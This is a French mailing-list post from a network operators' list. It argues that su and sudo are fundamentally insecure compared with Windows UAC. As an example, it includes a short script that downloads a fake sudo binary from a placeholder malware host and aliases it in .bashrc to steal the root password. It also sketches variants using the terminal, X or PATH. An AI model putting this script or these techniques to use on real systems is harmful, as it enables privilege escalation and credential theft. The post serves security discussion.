On 2012-03-21 15:59, Radu-Adrian Feurdean wrote:
J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc
à développer, si possible en arrêtant de me prendre pour un con.
Les setuid ne s'executent pas exactement dans le contexte de
l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis
par l'utilisateur, mais ce n'est surtout pas le "n'importe quoi" dont tu
parles.
Je connais parfaitement le principe du setuid et je sais que su/sudo
s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas
ça dont je parle. Le problème dont je parle c'est que toute
l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens
général, pas seulement utilisateur) dont la sécurité est exactement
égale à zéro.
Je vais détailler en prenant comme exemple sudo (mais le principe est
exactement le même avec su). Je pars du principe que sudo demande un mot
de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot
de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo
et hop je me retrouve root).
Le cœur du problème est que sudo, dans le cas d'une utilisation typique,
est exécuté dans le contexte d'un shell, qui lui même se trouve dans le
contexte d'un terminal graphique, qui lui-même se trouve dans le
contexte d'un serveur X. Tout ça représente une surface d'attaque grande
comme un terrain de foot et qui ne présente aucune difficulté à
exploiter. Tu vois où je veux en venir ? Considère par exemple ce script :
wget http://malware.example.com/fakesudo -O ~/.foo
chmod +x ~/.foo
cat >> ~/.bashrc <<EOF
alias sudo=~/.foo
EOF
Tu remarqueras que toutes ces commandes n'ont pas besoin de privilèges
particuliers pour fonctionner. "fakesudo" est un binaire malicieux conçu
pour se faire passer pour sudo en exécutant le sudo original mais en
interceptant stdin/stdout/pty (vois ça comme une attaque MITM mais avec
des pipes).
Tu vois où je veux en venir ? À partir du moment où un attaquant à
réussi à obtenir un accès shell utilisateur à ta machine, il exécute le
script de 5 lignes ci-dessus et dès que tu utilises su/sudo c'est game
over, il a le root et en cadeau bonus le mot de passe en clair de ton
compte.
Il y a des tas de variantes possibles, tant dans l'exploitation (par
exemple au lieu d'intercepter le mot de passe on remplace la commande à
exécuter, ça a le mérite de fonctionner avec tout token
d'authentification) que dans l'approche de l'attaque (on peut par
exemple utiliser le terminal au lieu du shell, ou jouer avec le
protocole X). Il est aussi possible de mener ce genre d'attaque sur les
« sudo graphiques » (par exemple en imitant la fenêtre, ou en jouant
avec le PATH, ou en trifouillant la configuration de l'environnement de
bureau, ou…).
Si quelqu'un a une solution fiable pour ce problème, je suis tout ouïe.
Pour l'instant la seule solution que je vois c'est de basculer sur une
console tty en mode texte pour se logger en root, mais ça casse un peu
tout le principe de la chose.
De ce point de vue UAC est infiniment supérieur. Lorsqu'une application
demande l'élévation ce n'est pas une fenêtre de prompt classique qui
s'affiche. À la place, le kernel (ou du moins un composant système)
prend entièrement le contrôle de l'affichage, le grise et affiche la
fenêtre de prompt UAC. Cette fenêtre fonctionne à un niveau d'intégrité
supérieur, ce qui empêche les autres applications d'interagir avec pour
éviter par exemple de simuler le clic sur le bouton de validation (ce
principe vaut également pour l'ensemble de l'application une fois
qu'elle est élevée). Un keylogger ne fonctionnera pas non plus pendant
le temps où ladite fenêtre est affichée, et même s'il fonctionnait, il
ne servirait à rien puisque dans la configuration par défaut, le prompt
UAC ne demande pas de mot de passe (ce qui est ici une bonne chose !).
C'est d'ailleurs pour la même raison qu'afficher un faux prompt UAC ne
servirait à rien non plus. Il est également impossible d'altérer le
programme qui se fait élever car, sauf grosse bourde dans la
configuration, ce dernier n'est pas modifiable par un utilisateur non élevé.
Au final, il est très difficile pour un programme de s'élever sans que
l'utilisateur humain valide lui-même de sa propre main le prompt UAC. Je
dis « très difficile » pas « impossible » car, comme tout logiciel, il
existe probablement des failles de sécurité, mais ici, ce sont des
simples failles dans l'implémentation, pas un problème fondamental comme
c'est le cas pour su/sudo.
--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---------------------------
Liste de diffusion du FRnOG
http://www.frnog.org/
